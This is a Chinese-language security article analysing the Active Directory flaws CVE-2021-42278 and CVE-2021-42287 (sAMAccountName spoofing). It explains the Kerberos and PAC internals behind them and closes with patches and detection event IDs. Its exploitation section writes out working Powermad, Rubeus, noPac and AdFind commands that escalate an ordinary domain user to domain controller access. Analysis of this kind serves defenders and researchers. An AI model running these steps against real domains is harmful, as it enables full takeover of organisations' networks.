Name impersonation and KDC bamboozling漏洞分析
文章首发于安全客:https://www.anquanke.com/post/id/264500
0x00 漏洞背景
今年十一月Cliff Fisher 在推特披露了CVE-2021-42278和CVE-2021-42287两个关于AD域漏洞相关信息,该漏洞影响巨大,在默认情况下只需一个域用户即可拿到域内最高权限。
0x01 披露时间线
11月10日Cliff Fisher在推特发布了相关的漏洞信息。
12月10日Charlie Clark在博客发布漏洞原理及利用手段。
12月11日cube0x0在github发布了noPac,实现了真正的武器化。
0x02 漏洞概述
漏洞的产生本质是windows机器账户和kerbeors之间协调沟通所产生的逻辑问题。
CVE-2021-42278 - KB5008102
允许攻击者任意修改计算机帐户sAMAccountName字段,进而模拟域控申请票据。
加入域的机器账户默认由$结尾,samAccountName默认和域机器名一致。但DC没有对sAMAccountName属性进行合法性判断,导致删除sAMAccountName结尾的$照样可以以机器用户身份申请TGT票据。
什么是sAMAccountName
sAMAccountName 属性是一个登录名,用于支持以前版本的 Windows 中的客户端和服务器,例如 Windows NT 4.0、Windows 95、Windows 98 和 LAN Manager。 登录名必须少于 20 个字符,在域中的所有安全主体对象中必须唯一,并且不能包含以下任何字符:
- "/ \ [ ] : ; | = , + * ? < >
userPrincipalName是基于Internet标准RFC 822的用户样式登录名,UPN是可选并在域林中的安全主体对象名中保持唯一。在创建用户时可以指定也可不单独指定,用户格式为:username@domain.name。
域名:redteam.lab
SamAccountName:marry
NetBIOS登录名:reedteam\marry
UserPrincipalName:marry@redteam.lab
在 Active Directory中,存储帐户登录名或用户对象实际上是命名符号“Domain\LogonName ”中使用NetBIOS名称组合,该属性是域用户对象的必需属性;而SAMAccountName应始终与UPN主体名称保持一致,即SAMAccountName必须等于属性“UserPrincipalName” 的前缀部分。
更改sAMAccountName
漏洞凭借修改计算机帐户sAMAccountName字段来模拟域控申请票据,但直接将域内机器Evilsystem的sAMAccountName改为与域控相同(不加$),结果显示异常。
原因如https://www.netspi.com/blog/technical/network-penetration-testing/machineaccountquota-is-useful-sometimes/所说:
修改 samAccountName、DnsHostname 或 msDS-AdditionalDnsHostName 属性时SPN 列表会自动更新。
添加机器帐户默认会创建4个SPN,包括以下内容:
1. HOST/MachineAccountName
2. HOST/MachineAccountName.domain.name
3. RestrictedKrbHost/MachineAccountName
4. RestrictedKrbhost/MachineAccountName.domain.name
意味着Evilsystem 将要改成与域控相同的SPN,但是SPN是网络控制器服 务实例的唯一标识符, Kerberos身份验证使用它来将服务实例与服务登录帐户相关联,这时会产生冲突
;但servicePrincipalName在设置以上属性之前已被删除,那么SPN列表将不会更新,除非再次给该字段赋值。所以在修改samAccountName前删除其SPN属性。
sAMAccountType属性
sAMAccountType表示在Active Directory 中安全主体对象的帐户类型。在LDAP查询中,常常用其筛选域机器和域用户等其他对象。
sAMAccountType=268435456(安全组)
sAMAccountType=268435457(非安全组)
sAMAccountType=536870912(别名对象)
sAMAccountType=536870913(非安全别名对象)
sAMAccountType=805306369(机器对象)
sAMAccountType属性可能存在的值:
Name | Value |
---|---|
SAM_DOMAIN_OBJECT | 0x0 |
SAM_GROUP_OBJECT | 0x10000000 |
SAM_NON_SECURITY_GROUP_OBJECT | 0x10000001 |
SAM_ALIAS_OBJECT | 0x20000000 |
SAM_NON_SECURITY_ALIAS_OBJECT | 0x20000001 |
SAM_USER_OBJECT | 0x30000000 |
SAM_MACHINE_ACCOUNT | 0x30000001 |
SAM_TRUST_ACCOUNT | 0x30000002 |
SAM_APP_BASIC_GROUP | 0x40000000 |
SAM_APP_QUERY_GROUP | 0x40000001 |
SAM_ACCOUNT_TYPE_MAX | 0x7ffffff |
cn: SAM-Account-Type
ldapDisplayName: sAMAccountType
attributeId: 1.2.840.113556.1.4.302
attributeSyntax: 2.5.5.9
omSyntax: 2
isSingleValued: TRUE
schemaIdGuid: 6e7b626c-64f2-11d0-afd2-00c04fd930c9
systemOnly: FALSE
searchFlags: fATTINDEX
attributeSecurityGuid: 59ba2f42-79a2-11d0-9020-00c04fc2d3cf
isMemberOfPartialAttributeSet: TRUE
systemFlags: FLAG_SCHEMA_BASE_OBJECT |
FLAG_ATTR_REQ_PARTIAL_SET_MEMBER
schemaFlagsEx: FLAG_ATTR_IS_CRITICAL
UserAccountControl
UserAccountControl包含一系列标志,这些标志定义了用户对象的一些重要基本属性,可以通过分配给该属性的值通知 Windows 每个主体启用了哪些选项。
该属性标志是累积性的,比如要禁用用户的帐户,UserAccountControl 属性被设置为 514 (2 + 512)。
LEX官网对这个属性进行了整理,以下为常见类型:
UF_NORMAL_ACCOUNT ( 512 ) | 这是一个普通域用户。 |
---|---|
UF_WORKSTATION_TRUST_ACCOUNT ( 4096 ) | 这是一个普通域机器。 |
UF_INTERDOMAIN_TRUST_ACCOUNT ( 2048 ) | 这是一个代表与外部域的信任连接的帐户。通常,帐户名称是域的 NetBIOS 名称,末尾带有“$”。 |
UF_SERVER_TRUST_ACCOUNT ( 8192 ) | 这是一个域控帐户。 |
UF_DONT_EXPIRE_PASSWD (65536) | 这个用户不受有关域内密码策略相关的影响,且密码永不过期。 |
UF_ENCRYPTED_TEXT_PASSWORD_ALLOWED (128) | 代表可逆加密存储用户密码 ,如果用户更改密码就能解密获得其明文密码。 |
UF_ACCOUNT_DISABLE ( 2 ) | 代表帐户被禁用,并且无法再向域进行身份验证。 |
https://blog.csdn.net/xjzdr/article/details/3553246也对UserAccountControl进行了详细解释。
UserAccountControl定义了用户对象的重要基本属性,微软以sAMAccountName的值是否以$结尾来区别windows域内的普通域用户和机器账户。但UserAccountControl并没有规定计算机帐户的sAMAccountName必须以$结尾,域机器sAMAccountName去掉最后的$照样可以以机器账户的身份申请TGT票据,为后面的CVE-2021-42287触发提供了先行条件。
CVE-2021-42287 KB5008380
影响 Kerberos 特权属性证书 (PAC) 并允许攻击者通过S4U2Self冒充域控申请ST的安全绕过漏洞。
微软依照是否以$结尾来区别windows域内的普通域用户和机器账户,所以按照惯例默认给机器账户加$,而kerberos认证时并不会区别对待;为了兼容这种情况,如果kerberos认证票据时没有找到对应的域用户,会采用在用户名称后添加$进行重试认证的fallback。
在有PAC 的情况下请求 TGT,并且为与DC具有相同的sAMAccountName(不带$)的机器帐户请求 S4U2self 票据,当初始帐户不存在时自动进行重试认证fallback,KDC没有验证请求TGT的帐户是否与服务票证中引用的帐户相同,结果在ST中使用DC的密钥进行加密。
在默认设置的 Active Directory 环境中可以通过一个域用户凭证拿到域内最高权限。
0x03 漏洞原理
微软以是否以$结尾来区别windows域内的普通域用户和机器账户,而kerberos认证时并不会区别对待;为了兼容这种情况,如果kerberos认证票据时没有找到对应的域用户,会采用在用户名称后添加$进行重试认证的fallback。
kerberos认证的CName String/SName String均从sAMAccountName提取,如果域控是DC2$,一台域机器的sAMAccountName被改为DC2。那么当域用户申请TGT后将sAMAccountName更改为其他值,进而在申请ST票据时,kerberos找不到DC2这个机器用户,于是会触发fallback变为DC2$。在S4U阶段生成了新的用于访问自身的高权限PAC,KDC没有识别高权限ST作用于哪个机器账户、PAC也没有原始请求者的信息,于是在ST中使用域控的密钥进行加密,这样就拿到了域控的ST票据,从而模拟域控上任意服务的任意用户进行访问登陆。
XP源码分析
https://mp.weixin.qq.com/s/Ar8u_gXh2i3GEcqdhOD8wA这篇文章写的很清楚,有兴趣可以看看。
KdcGetTicketInfo
首先判断是否是krbtgt账户,如果是则直接调用GetKrbtgt函数获取TicketInfo
判断是否是本域的用户,并进行三次查找:
- 首先直接查找传入的用户
- 然后查找传入的
username+$
- 仍未找到则查找其 altSecurityIdentities 属性的value
这就是第一个漏洞产生的原因,sAMAccountName没有$的机器账号如果没有找到会加$进行callback重试。
KdcInsertAuthorizationData
KdcInsertAuthorizationData中可以找到KDC Server获取PAC的处理逻辑:
1.如果不是S4U的请求,则直接从TGT的AuthData中提取PAC(沿用最初的PAC)。
说明了S4U的重要性,如果没有S4U2self,将会沿用最初的PAC;最初的PAC在AS-REP阶段凭请求用户身份生成,没有权限访问域控相关服务。
2.如果是S4U请求,首先调用KdcGetS4UTicketInfo请求获取S4UUserInfo,再调用kdcGetPacAuthData函数来构造PAC data。
kdcGetPacAuthData:若原票据不存在PAC,则会构造一个新的PAC;若无法构造,则直接复制PAC。
KdcGetS4UTicketInfo函数的处理逻辑中又调用了KdcGetTicketInfo,也就是通过这把前后两个漏洞组合在了一起。
因此得到和上面一样的结论:
S4U2self拓展用于AS-REQ将票证检索到自身来模仿任意用户访问,而KDC在S4U2Self阶段会将SFU填充的字段从TGT中的PAC复制到新创建的PAC中。在进行自动添加$进行callback时,KDC并没有识别高权限ST作用于哪个机器账户、PAC也没有原始请求者的信息,出现鉴权问题从而产生漏洞。
通过公开EXP截取数据分析
wireshark中提供直接将keytab 导入Kerberos,能将PAC等加密字段进行解密。
kerberos认证
整体流程
1.AS_REQ:client用client_hash(一般使用RC4加密)、时间戳向KDC进行预身份验证。
2.AS_REP:KDC检查client_hash与时间戳,如果正确则返回client由krbtgt哈希加密的TGT票据和PAC等相关信息。
3.TGS_REQ:client向KDC请求TGS票据,出示其TGT票据和请求的SPN。
4.TGS_REP:KDC如果识别出SPN,则将该服务账户的NTLM哈希加密生成的ST票据返回给client。
5.AP_REQ:client使用ST请求对应服务,将PAC传递给服务进行检查。服务通过PAC查看用户的SID和用户组等并与自身的ACL进行对比,如果不满足则作为适当的RPC状态代码返回。
6.AP_REP:服务器验证AP-REQ,如果验证成功则发送AP-REP,客户端和服务端通过中途生成的Session key等信息通过加解密转换验证对方身份。
AS-REQ:
域控为DC2$,这里申请sAMAccountName为DC2(不带$)的TGT票据
- 请求的用户端信息
- 加密类型
- Authenticator(用户Hash加密时间戳)
AS-REP:
- 通过活动目录查询用户得到用户的Hash,用Hash解密Authenticator,如果解密成功并且时间戳在规定时间内(一般为五分钟),则预认证成功。
- 生成由krbtgt用户Hash加密的TGT认购权证,用于确保客户端和DC进行安全通信的用户Hash加密后的Login Session Key(作为下一阶段的认证秘钥)。
- 返回TGT(TGT中包含PAC,PAC包含Client的sid,Client所在的组)、Login Session Key、和时间戳。
PAC
PAC由KDC在AS-REP中生成,其中包含用户sid和组等信息,当client在AD域内进行身份认证的时候,KDC会把这些信息添加到TGT票据加密返回;KDC主要通过PAC中的GroupIds和Userid与要访问服务的ACL进行比较,判断client是否有权限对其进行访问。
KDC在AP-REQ访问服务时检查PAC。同时 TGS 解密验证签名是否正确,然后再重新构造新的 PAC 放在 ST 里返回给client,client将 ST 发送给服务端进行验证,Server再将此信息与用户所索取的资源的ACL进行比较,以此判断用户是否有权限对其进行访问。
PAC里面包含了用户SID、组等信息。
在 PAC 中包含PAC_SERVER_CHECKSUM 和 PAC_PRIVSVR_CHECKSUM两个数字签名 ,这两个数字签名分别由Server NTLM Hash和KDC NTLM Hash加密,并且PAC对于用户和服务全程都不可见,只有KDC能制作和查看PAC。
PAC结构是一个AuthorizationData
AuthorizationData ::= SEQUENCE OF SEQUENCE {
ad-type [0] Int32,
ad-data [1] OCTET STRING
}
结构如下:
可以看到ad-type为AD-IF-RELEVANT。
ad-data也是一个AuthorizationData,ad-type为AD-WIN2K-PAC,ad-data为一个PACTYPE的结构体和几个PAC_INFO_BUFFER 结构数组;PACTYPE结构是PAC的最顶层结构,指定PAC_INFO_BUFFER数组中的元素数。PACTYPE结构用作完整PAC数据的标头。
每个 PAC_INFO_BUFFER 定义了 PAC 缓冲区的类型和字节偏移量,用作指向遵循此标头的PAC内容的指针。PAC_INFO_BUFFER 数组没有定义的顺序,因此PAC_INFO_BUFFER 缓冲区的顺序没有意义。但是,一旦生成了 KDC 和服务器签名,缓冲区的顺序不得更改,否则 PAC 内容的签名验证将失败。
PACTYPE结构如下:
PAC_INFO_BUFFER结构如下:
其中ulType描述在Offset处包含的缓冲区中存在的数据类型。
Value | Meaning |
---|---|
0x00000001 | 登录信息。PAC结构必须包含一个此类型的缓冲区。必须忽略其他登录信息缓冲区。 |
0x00000002 | 凭证信息。PAC结构不应包含多个此类缓冲区。第二个或后续凭证信息缓冲区在收到时必须忽略。 |
0x00000006 | 服务器校验和。PAC结构必须包含一个此类型的缓冲区。必须忽略其他登录服务器校验和缓冲区。 |
0x00000007 | KDC校验和。PAC结构必须包含一个此类型的缓冲区。必须忽略其他KDC校验和缓冲区。 |
0x0000000A | 客户名称和票据信息。PAC结构必须包含一个此类型的缓冲区。必须忽略其他客户端和票证信息缓冲区。 |
0x0000000B | 受约束的委派信息。PAC结构必须包含一个此类型的缓冲区,以便为S4U2proxy请求提供服务,否则不包含任何缓冲区。必须忽略其他受约束的委派信息缓冲区。 |
0x0000000C | 用户主体名称(UPN)和域名系统(DNS)信息。PAC结构不应包含多个此类型的缓冲区。第二个或后续UPN和DNS信息缓冲区在收到时必须忽略。 |
0x0000000D | 客户索赔信息。PAC结构不应包含多个此类型的缓冲区。必须忽略其他客户端索赔信息缓冲区。 |
0x0000000E | 设备信息。PAC结构不应包含多个此类型的缓冲区。必须忽略其他设备信息缓冲区。 |
0x0000000F | 设备索赔信息。PAC结构不应包含多个此类型的缓冲区。必须忽略其他设备声明信息缓冲区。 |
0x00000010 | 票证校验和PAC结构不应包含多个此类型的缓冲区。必须忽略其他票证校验和缓冲区。 |
0x00000006 对应的是Server检验和,0x00000007 对应的是KDC校验和。前面说过PAC包含server和KDC签名,就是为了防止PAC内容被篡改。
KERB_VALIDATION_INFO
KERB_VALIDATION_INFO结构定义了DC提供的用户登录和授权信息,并由RPC编组。结构定义如下:
typedef struct _KERB_VALIDATION_INFO {
FILETIME LogonTime;
FILETIME LogoffTime;
FILETIME KickOffTime;
FILETIME PasswordLastSet;
FILETIME PasswordCanChange;
FILETIME PasswordMustChange;
RPC_UNICODE_STRING EffectiveName;
RPC_UNICODE_STRING FullName;
RPC_UNICODE_STRING LogonScript;
RPC_UNICODE_STRING ProfilePath;
RPC_UNICODE_STRING HomeDirectory;
RPC_UNICODE_STRING HomeDirectoryDrive; USHORT LogonCount;
USHORT BadPasswordCount;
ULONG UserId;
ULONG PrimaryGroupId;
ULONG GroupCount;
[size_is(GroupCount)] PGROUP_MEMBERSHIP GroupIds; ULONG UserFlags;
USER_SESSION_KEY UserSessionKey;
RPC_UNICODE_STRING LogonServer;
RPC_UNICODE_STRING LogonDomainName;
PISID LogonDomainId;
ULONG Reserved1[2];
ULONG UserAccountControl;
ULONG SubAuthStatus;
FILETIME LastSuccessfulILogon;
FILETIME LastFailedILogon;
ULONG FailedILogonCount;
ULONG Reserved3;
ULONG SidCount;
[size_is(SidCount)] PKERB_SID_AND_ATTRIBUTES ExtraSids;
PISID ResourceGroupDomainSid;
ULONG ResourceGroupCount;
[size_is(ResourceGroupCount)] PGROUP_MEMBERSHIP ResourceGroupIds;
} KERB_VALIDATION_INFO;
主要看UserId、GroupCount和GroupId字段:
Userid:域SID+用户RID(用户SID)
GroupCount:包含帐户所属帐户域内的组数。
GroupID:指向GROUP_MEMBERSHIP GroupIds结构列表的指针,其中包含帐户域中帐户所属的组。此列表中的组数必须等于GroupCount。其中513为域用户,512、520、518、519 是域管组。
MS14068就是将高权限的GroupId插入到伪造的PAC中从而提升权限达到接管域的目的。
TGT包含PAC,定位到ticket→enc-part→PAC_LOGON_INFO
Domain Computers的Group RID都为515,现在的PAC代表申请的是机器账户身份。
TGS-REQ:
将sAMAccountName为DC2的机器账户改为其他任意值,申请其ST
- 客户端信息
- Authenticator(Login Session Key加密时间戳)
- TGT认购权限
- 访问的服务名
TGSREQ携带ap-req,利用as-rep获取到的TGT票据并用上S4U2Self拓展,以administrator的身份请求DC2 cifs服务的ST票据。
上图中的ticket和as-rep返回的ticket都是TGT票据,client用此进行TGS相关后续认证。
S4U2Self
S4U包括和S4U2self和S4U2proxy。S4U2proxy允许服务代表用户获得不同服务的服务票证的扩展,通常用于服务进行委派,这里不再叙述,有兴趣可以看关于委派相关的章节。
这个漏洞出在S4U2Self上,先来了解一下认证流程。
服务可以使用S4U2self将票证检索到自身,允许服务代表用户向自身获取Kerberos服务票据,包含用户的组,因此可用来授权,且S4U2self扩展可用于获取PAC,以确定用户是否对服务具有访问权限。
下图描述了从服务处理TGS的S4U2self TGS-REQ消息。
1.服务使用S4U2self扩展来代表用户向自身检索服务票证。该服务填写PA-FOR-USER数据结构,并向TGS发送TGS-REQ。
2.如果TGS支持PA-FOR-USER扩展,TGS在TGS-REP中返回用户的ST票据。ST返回的PAC包含授权数据。
PA-FOR-USER结构:
PA-FOR-USER ::= SEQUENCE {
-- PA TYPE 129
userName [0] PrincipalName,
userRealm [1] Realm,
cksum [2] Checksum,
auth-package [3] KerberosString
}
PA-FOR-USER由四个字段组成:userName、userRealm、cksum和auth-package。
userName为用户的名称,默认名称类型为NT-UNKNOWN。
userRealm是用户帐户的当前域。
auth-package字段必须设置为字符串“Kerberos”,并且不区分大小写。
cksum为前三者的校验和。使用KERB_CHECKSUM_HMAC_MD5函数计算。
在微软官方文档中提到:
如果KDC支持PAC,KDC必须将S4U填充的字段从TGT中的PAC复制到新创建的PAC,并在处理其支持的所有字段后, KDC必须生成新的服务器签名和KDC签名,以替换PAC中的现有签名字段。
即在S4U阶段创建了新的PAC,而新生成的PAC为后面的漏洞利用提供了充分条件。
TGS-REP:
- 检查自身是否存在服务,如果存在,通过krbtgt解密TGT并通过Login Session Key解密Authenticator(Login Session Key加密时间戳),就验证了对方身份。然后验证时间戳是否在范围内,并且验证TGT中的时间戳是否过期,原始地址是否和TGT保存的地址相同等。
- 生成用AS-REP得到的Login Session Key加密后的用于确保安全传输的Server Session Key。
- 完成认证后,TGS生成ST票据,其中包括:客户端信息和原始的Server Session Key,
整个ST票据由该服务的NTLM Hash加密。
- 将ST和Server Session Key发送给客户端。
结果可以看到在S4U2Self拓展在TGS-REQ中生成了新的高权限PAC用于访问申请的服务。
在申请ST票据时,kerberos找不到DC2这个用户,由于是机器账户会触发fallback自动添加$变为DC2$。 结果在 ST 中使用域控的密钥进行加密,进而可以模拟域控上任意服务的任意用户进行访问登陆。
由此可见S4U2Self阶段是漏洞触发的关键点,如果没有S4U2Self就不会生成新的高权限PAC,流程没有任何问题,只是在这之后没有做好鉴权:PAC没有原始请求者的信息、KDC没有识别高权限ST作用于哪个机器账户
,从而产生了漏洞。
0x04 漏洞利用
整体流程
假设域内DC机器名为DC1$
1.利用域用户创建域机器Evil。
2.清除Evil的SPN属性。
3.将域机器Evil的sAMAccountName属性更改为DC1(不带$)。
4.为Evil请求TGT,随后将其sAMAccountName更改为其他名字(除DC1均可)。
5.通过S4U2self向KDC请求DC1的ST票据(可以任意指定service类型);KDC找不到DC1这个机器账号,在DC1后面自动添加$匹配为DC1$(域控),从而返回域控机器账户代替DC1 的ST票证。
利用步骤
1.利用域用户创建域机器Evilsystem
域内任意域用户默认可以添加10台域机器,这是用于加域的正常功能,在LDAP中呈现的字段为ms-DS-MachineAccountQuota的值。
(1)powermad:
默认会
自动为其创建机器注册SPN
以任意普通域用户创建一个名为Evilsystem,密码为1qaz@WSX的域机器
New-MachineAccount -MachineAccount Evilsystem -Password $(ConvertTo-SecureString "1qaz@WSX" -AsPlainText -Force)
(2)addcomputer.py
默认不会
自动为其创建机器注册SPN
2.清除Evilsystem的servicePrincipalName属性(addcomputer.py添加机器用户省略这一步骤)
Set-DomainObject "CN=Evilsystem,CN=Computers,DC=redteam,DC=lab" -Clear 'serviceprincipalname' -Verbose
3.将域机器Evilsystem的sAMAccountName属性更改为DC1(不带$)
Set-MachineAccountAttribute -MachineAccount "Evilsystem" -Value "DC1" -Attribute samaccountname -Verbose
4.为Evilsystem请求TGT,随后将sAMAccountName更改为其他名字(除DC1均可)
Rubeus.exe asktgt /user:"DC1" /password:"1qaz@WSX" /domain:"redteam.lab" /dc:"DC1.redteam.lab" /nowrap
Set-MachineAccountAttribute -MachineAccount "Evilsystem" -Value "EvilEvil" -Attribute samaccountname -Verbose
5.通过S4U2self向KDC请求DC1的ST票据(可以任意指定service类型)
在这里模拟了administrator用户访问DC1上cifs服务的ST票据,这可以是域中任何系统上任何服务上的任何用户。
(也可以申请host服务票据直接添加用户,或者直接申请ldap的票据进行dcsync。)
Rubeus.exe s4u /self /impersonateuser:"administrator" /altservice:"cifs/DC1.redteam.lab" /dc:"DC1.redteam.lab" /ptt /ticket:doIEujCCBLag..
验证结果
公开EXP利用:
https://github.com/cube0x0/noPac
noPac.exe -domain redteam.lab -user carn1 -pass Qq123456.. /dc dc1.redteam.lab /mAccount Evils /mPassword 1qaz@WSX /service cifs /ptt
其他利用场景
漏洞利用的最终条件就是在域控没打补丁的情况下,能够任意修改域机器的SPN和sAMAccountName属性进行滥用。
1.林信任利用
Charlie Clark在后面的文章中展示了林信任的利用方式
A域和B域互相信任,如果有A域a用户的权限,可以利用信任关系在B域创建计算机账户达到漏洞利用。
2.MAQ=0利用
前面的利用基于MAQ(MachineAccountQuota)创建域机器来实现,如果限制MAQ,有以下思路:
(1).CreatorSID
按照微软的ACL规定,创建者即为所有者,所有者必定拥有完全控制权限,当然包括更改名称等一系列属性。
利用MAQ创建域机器利用的方式其实就是利用了CreatorSID属性,在一些域内有专门拉机器账户进域的用户,比如carn1用户将demo123机器拉入域内,则demo123的CreatorSID指向carn1。
通过SID查询Creator
AdFind.exe -f "(&(objectsid=S-1-5-21-2588586899-1821113704-3426516109-2603))" objectclass cn dn
查询carn1对demo123的ACL权限
AdFind.exe -b "CN=demo123,CN=Computers,DC=redteam,DC=lab" nTSecurityDescriptor -sddlfilter ;;;;;"carn1" -sddl+++ -recmute
在拿到一个域用户权限后,可以遍历LDAP查找具有CreatorSID属性的域机器和对应的域用户,如果我们已经有了对应的域用户权限,就可以利用这个用户修改对应域机器的属性来进行漏洞利用。
查找每个域机器的加域账号AdFind.exe -b “DC=redteam,DC=lab” -f “(&(samAccountType=805306369))” cn mS-DS-CreatorSID
通过用户的sid查看哪些域机器是通过自己加入到域内的:
AdFind.exe -b "DC=redteam,DC=lab" -f "(&(samAccountType=805306369)(mS-DS-CreatorSID=UserSid))" cn sAMAccountType objectCategory
(2).ACL权限
域内拿到A用户权限后,遍历ACL发现其对域机器B有 GenericAll / GenericWrite等权限,可以通过A直接修改B的属性利用。遍历ACL分析通常用在穷途末路的时候,更适合做一个后门使用,具体使用依情况而定。
0x05 漏洞修复
1.打KB5008102, KB5008380补丁。
2.MAQ(MachineAccountQuota)属性值设为0。
3.遍历域内并清除相关可能被利用的ACL。
4.创建名为PacRequestorEnforcement
typeREG_DWORD
的注册表HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Kdc
,并为其值设为2
,这样的话旧的TGT就不再起作用,让入侵者以前生成的凭据无效。
0x06 日志分析
1.创建机器账号产生4741事件
2.删除SPN产生4742事件
3.将sAMAccountName改为DC1产生4781事件
4.申请TGT并改名产生4768、4781事件
5.通过S4U获取ST产生4769事件
在上述日志中,TGT和ST的申请在域内太过频繁、如果是通过impacket中的addcomputer.py添加的机器账号默认不会包含SPN、所以可随时监控4741(创建机器账号产生)、4781(更改sAMAccountName名称)来确保域内没有被滥用此漏洞,当然最重要的还是对漏洞进行修复。
0x07 参考
https://exploit.ph/cve-2021-42287-cve-2021-42278-weaponisation.html
https://www.thehacker.recipes/ad/movement/kerberos/samaccountname-spoofing
https://www.netspi.com/blog/technical/network-penetration-testing/machineaccountquota-is-useful-sometimes/
https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-pac/166d8064-c863-41e1-9c23-edaaa5f36962
https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-apds/1d1f2b0c-8e8a-4d2a-8665-508d04976f84
https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-sfu/1fb9caca-449f-4183-8f7a-1a5fc7e7290a?redirectedfrom=MSDN